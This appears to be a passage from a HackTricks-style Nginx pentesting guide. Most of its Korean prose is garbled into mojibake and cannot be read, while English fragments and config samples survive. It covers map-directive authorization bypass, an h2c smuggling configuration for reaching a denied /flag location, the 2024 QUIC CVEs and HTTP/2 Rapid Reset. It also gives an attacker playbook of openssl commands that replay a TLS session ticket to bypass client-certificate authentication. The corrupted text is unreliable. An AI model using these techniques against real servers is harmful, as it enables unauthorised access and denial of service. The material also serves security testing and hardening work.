์˜ˆ๋ฅผ ๋“ค์–ด, ํ—ค๋” **X-Accel-Redirect**๋Š” nginx์—์„œ ๋‚ด๋ถ€ redirect๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ nginx ์„ค์ •์— root / ๊ฐ™์€ ๊ฒƒ์ด ์žˆ๊ณ  ์›น ์„œ๋ฒ„์˜ ์‘๋‹ต์— **X-Accel-Redirect: .env**๊ฐ€ ํฌํ•จ๋˜๋ฉด nginx๋Š” **/.env**์˜ ๋‚ด์šฉ์„ ์ „์†กํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค (Path Traversal).

map directive์˜ ๊ธฐ๋ณธ๊ฐ’

Nginx ๊ตฌ์„ฑ์—์„œ map ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” ์ข…์ข… **๊ถŒํ•œ ์ œ์–ด (authorization control)**์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ํ”ํ•œ ์‹ค์ˆ˜๋Š” default ๊ฐ’์„ ์ง€์ •ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ, ์ด๋กœ ์ธํ•ด ๋ฌด๋‹จ ์ ‘๊ทผ์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

default์ด ์—†์œผ๋ฉด, malicious user๊ฐ€ /map-poc ๋‚ด์˜ undefined URI์— ์ ‘๊ทผํ•˜์—ฌ ๋ณด์•ˆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. The Nginx manual์€ ์ด๋Ÿฌํ•œ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด default value๋ฅผ ์„ค์ •ํ•  ๊ฒƒ์„ ๊ถŒ๊ณ ํ•ฉ๋‹ˆ๋‹ค.

DNS Spoofing Vulnerability

ํŠน์ • ์กฐ๊ฑด์—์„œ๋Š” Nginx์— ๋Œ€ํ•œ DNS spoofing์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž(attacker)๊ฐ€ Nginx๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” DNS server๋ฅผ ์•Œ๊ณ  ๊ทธ DNS queries๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋‹ค๋ฉด, DNS ๋ ˆ์ฝ”๋“œ๋ฅผ spoofํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Nginx๊ฐ€ DNS ํ•ด์„์— **localhost (127.0.0.1)**์„ ์‚ฌ์šฉํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ์œผ๋ฉด ์ด ๋ฐฉ๋ฒ•์€ ํšจ๊ณผ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. Nginx๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด DNS server๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

resolver 8.8.8.8;

proxy_pass ๋ฐ internal ์ง€์‹œ์ž

proxy_pass ์ง€์‹œ์ž๋Š” ์š”์ฒญ์„ ๋‚ด๋ถ€ ๋˜๋Š” ์™ธ๋ถ€์˜ ๋‹ค๋ฅธ ์„œ๋ฒ„๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. internal ์ง€์‹œ์ž๋Š” ํŠน์ • location์ด Nginx ๋‚ด๋ถ€์—์„œ๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ง€์‹œ์ž๋“ค ์ž์ฒด๊ฐ€ ๊ณง๋ฐ”๋กœ ์ทจ์•ฝ์ ์€ ์•„๋‹ˆ์ง€๋งŒ, ๋ณด์•ˆ ๋ˆ„๋ฝ์„ ๋ฐฉ์ง€ํ•˜๋ ค๋ฉด ๊ตฌ์„ฑ ์„ค์ •์„ ๋ฉด๋ฐ€ํžˆ ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

proxy_set_header Upgrade & Connection

nginx ์„œ๋ฒ„๊ฐ€ Upgrade ๋ฐ Connection ํ—ค๋”๋ฅผ ์ „๋‹ฌํ•˜๋„๋ก ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ, h2c Smuggling attack๋ฅผ ํ†ตํ•ด ๋ณดํ˜ธ๋œ/๋‚ด๋ถ€ ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Caution

์ด ์ทจ์•ฝ์ ์€ ๊ณต๊ฒฉ์ž๊ฐ€ proxy_pass ์—”๋“œํฌ์ธํŠธ(์ด ๊ฒฝ์šฐ http://backend:9999)์™€ ์ง์ ‘ ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฆฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, ํ•ด๋‹น ์—ฐ๊ฒฐ์˜ ์ฝ˜ํ…์ธ ๋Š” nginx์— ์˜ํ•ด ๊ฒ€์‚ฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

proxy_pass๊ฐ€ http://backend:9999/socket.io ๊ฐ™์€ ํŠน์ • ๊ฒฝ๋กœ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋”๋ผ๋„ ์—ฐ๊ฒฐ์€ http://backend:9999๋กœ ์„ค์ •๋˜๋ฏ€๋กœ ๋‚ด๋ถ€ ์—”๋“œํฌ์ธํŠธ ์•ˆ์˜ ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ proxy_pass์˜ URL์— ๊ฒฝ๋กœ๊ฐ€ ์ง€์ •๋˜์–ด ์žˆ์–ด๋„ ์ƒ๊ด€์—†์Šต๋‹ˆ๋‹ค.

HTTP/3 QUIC module remote DoS & leak (2024)

2024๋…„์— Nginx๋Š” CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 ๋ฐ CVE-2024-35200์„ ๊ณต๊ฐœํ–ˆ์œผ๋ฉฐ, ์ด๋Š” ngx_http_v3_module๊ฐ€ ์ปดํŒŒ์ผ๋˜์–ด ์žˆ๊ณ  listen ... quic ์†Œ์ผ“์ด ๋…ธ์ถœ๋œ ๊ฒฝ์šฐ ํ•˜๋‚˜์˜ ์•…์˜์ ์ธ QUIC ์„ธ์…˜์ด ์›Œ์ปค ํ”„๋กœ์„ธ์Šค๋ฅผ ์ถฉ๋Œ์‹œํ‚ค๊ฑฐ๋‚˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์˜ํ–ฅ๋ฐ›๋Š” ๋นŒ๋“œ๋Š” 1.25.0โ€“1.25.5 ๋ฐ 1.26.0์ด๋ฉฐ, 1.27.0/1.26.1์—๋Š” ์ˆ˜์ •์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค; ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐœ(CVE-2024-34161)๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋…ธ์ถœํ•˜๋ ค๋ฉด MTU๊ฐ€ 4096๋ฐ”์ดํŠธ๋ณด๋‹ค ์ปค์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜์˜ 2024 nginx ๊ถŒ๊ณ ๋ฌธ ์ฐธ์กฐ).

Recon & exploitation hints

  • HTTP/3๋Š” opt-in์ด๋ฏ€๋กœ Alt-Svc: h3=":443" ์‘๋‹ต์„ ์Šค์บ”ํ•˜๊ฑฐ๋‚˜ UDP/443์—์„œ QUIC ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜์„ธ์š”; ํ™•์ธ๋˜๋ฉด ์ปค์Šคํ…€ quiche-client/nghttp3 ํŽ˜์ด๋กœ๋“œ๋กœ ํ•ธ๋“œ์…ฐ์ดํฌ์™€ STREAM ํ”„๋ ˆ์ž„์„ fuzzํ•˜์—ฌ ์›Œ์ปค ์ถฉ๋Œ์„ ์œ ๋ฐœํ•˜๊ณ  log leakage๋ฅผ ๊ฐ•์ œํ•˜์„ธ์š”.
  • ๋Œ€์ƒ์˜ ์ง€์›์„ ๋น ๋ฅด๊ฒŒ ์‹๋ณ„ํ•˜๋ ค๋ฉด:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

2025๋…„ 2์›” ๊ถŒ๊ณ ๋ฌธ์€ OpenSSL๋กœ ๋นŒ๋“œ๋œ nginx 1.11.4โ€“1.27.3์—์„œ ํ•˜๋‚˜์˜ name-based virtual host์—์„œ ๋ฐœ์ƒํ•œ reusing a TLS 1.3 session์„ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์—์„œ ๋‹ค์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด, certificate-free host์™€์˜ ์—ฐ๊ฒฐ์„ ์„ฑ๋ฆฝํ•œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ticket/PSK๋ฅผ ์žฌ์ƒ(replay)ํ•ด ssl_verify_client on;์œผ๋กœ ๋ณดํ˜ธ๋œ vhost๋กœ ์นจํˆฌํ•˜๊ณ  mTLS๋ฅผ ์™„์ „ํžˆ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ณต๊ฐœํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฒ„๊ทธ๋Š” ์—ฌ๋Ÿฌ virtual hosts๊ฐ€ ๋™์ผํ•œ TLS 1.3 session cache์™€ tickets๋ฅผ ๊ณต์œ ํ•  ๋•Œ ํŠธ๋ฆฌ๊ฑฐ๋ฉ๋‹ˆ๋‹ค(์•„๋ž˜์˜ 2025 nginx ๊ถŒ๊ณ ๋ฌธ ์ฐธ์กฐ).

๊ณต๊ฒฉ์ž ํ”Œ๋ ˆ์ด๋ถ

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

๋Œ€์ƒ์ด ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ, ๋‘ ๋ฒˆ์งธ ํ•ธ๋“œ์…ฐ์ดํฌ๋Š” ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ์„œ๋ฅผ ์ œ์‹œํ•˜์ง€ ์•Š๊ณ  ์™„๋ฃŒ๋˜์–ด ๋ณดํ˜ธ๋œ ์œ„์น˜๊ฐ€ ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

๊ฒ€ํ† ํ•  ํ•ญ๋ชฉ

  • server_name ๋ธ”๋ก ์ค‘ ssl_session_cache shared:SSL ๋ฐ ssl_session_tickets on;์„ ๊ณต์œ ํ•˜๋Š” ํ˜ผํ•ฉ๋œ ๊ตฌ์„ฑ.
  • mTLS๋ฅผ ๊ธฐ๋Œ€ํ•˜์ง€๋งŒ ๊ณต์šฉ ํ˜ธ์ŠคํŠธ๋กœ๋ถ€ํ„ฐ ๊ณต์œ ๋œ ์„ธ์…˜ ์บ์‹œ/ํ‹ฐ์ผ“ ์„ค์ •์„ ์ƒ์†๋ฐ›๋Š” Admin/API ๋ธ”๋ก.
  • vhost ๊ฒฉ๋ฆฌ๋ฅผ ๊ณ ๋ คํ•˜์ง€ ์•Š๊ณ  TLS 1.3 ์„ธ์…˜ ์žฌ๊ฐœ๋ฅผ ์ „์—ญ์ ์œผ๋กœ ํ™œ์„ฑํ™”ํ•˜๋Š” ์ž๋™ํ™”(์˜ˆ: Ansible roles).

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank keepalive_requests or http2_max_concurrent_streams beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues RST_STREAM frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits โ€œsubstantially higherโ€ makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).

ํƒ์ง€ ํŒ

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

ํ•ด๋‹น ์ง€์‹œ๋ฌธ๋“ค์— ๋Œ€ํ•ด ๋น„์ •์ƒ์ ์œผ๋กœ ๋†’์€ ๊ฐ’์„ ๋…ธ์ถœํ•˜๋Š” ํ˜ธ์ŠคํŠธ๋Š” ์ฃผ์š” ํ‘œ์ ์ž…๋‹ˆ๋‹ค: ํ•˜๋‚˜์˜ HTTP/2 ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ŠคํŠธ๋ฆผ ์ƒ์„ฑ๊ณผ ์ฆ‰์‹œ RST_STREAM ํ”„๋ ˆ์ž„์„ ๋ฐ˜๋ณตํ•˜์—ฌ ๋™์‹œ์„ฑ ํ•œ๋„๋ฅผ ์ดˆ๊ณผ์‹œํ‚ค์ง€ ์•Š์œผ๋ฉด์„œ๋„ CPU๋ฅผ ๊ณ ๊ฐˆ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ง์ ‘ ์‹œ๋„ํ•ด๋ณด๊ธฐ

Detectify๋Š” ์ด ๋ฌธ์„œ์—์„œ ๋…ผ์˜๋œ ๋ช‡ ๊ฐ€์ง€ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์œผ๋กœ ์ทจ์•ฝํ•œ Nginx ํ…Œ์ŠคํŠธ ์„œ๋ฒ„๋ฅผ Docker๋กœ ์„ค์ •ํ•ด ์ง์ ‘ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ๋Š” GitHub ์ €์žฅ์†Œ๋ฅผ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค!

https://github.com/detectify/vulnerable-nginx

์ •์  ๋ถ„์„ ๋„๊ตฌ

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (an updated fork of GIXY) ๋Š” Nginx ์„ค์ •์„ ๋ถ„์„ํ•˜์—ฌ ์ทจ์•ฝํ•œ ์ง€์‹œ๋ฌธ, ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์ง€์‹œ๋ฌธ ๋ฐ ์œ„ํ—˜ํ•œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์ฐพ์•„๋‚ด๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์„ฑ๋Šฅ์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ์ž˜๋ชป๋œ ๊ตฌ์„ฑ๊ณผ ๋ˆ„๋ฝ๋œ ๋ณด์•ˆ ๊ฐ•ํ™” ๊ธฐํšŒ๋ฅผ ์ฐพ์•„ ์ž๋™ํ™”๋œ ๊ฒฐํ•จ ํƒ์ง€๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • gixy-ng (the actively maintained fork of GIXY) ๋Š” Nginx ์„ค์ •์„ ๋ถ„์„ํ•˜์—ฌ ์ทจ์•ฝํ•œ ์ง€์‹œ๋ฌธ, ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์ง€์‹œ๋ฌธ ๋ฐ ์œ„ํ—˜ํ•œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์„ ์ฐพ์•„๋‚ด๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์„ฑ๋Šฅ์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ์ž˜๋ชป๋œ ๊ตฌ์„ฑ๊ณผ ๋ˆ„๋ฝ๋œ ๋ณด์•ˆ ๊ฐ•ํ™” ๊ธฐํšŒ๋ฅผ ์ฐพ์•„ ์ž๋™ํ™”๋œ ๊ฒฐํ•จ ํƒ์ง€๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Nginxpwner

Nginxpwner๋Š” ์ผ๋ฐ˜์ ์ธ Nginx ๊ตฌ์„ฑ ์˜ค๋ฅ˜์™€ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋ณด๋Š” ๊ฐ„๋‹จํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ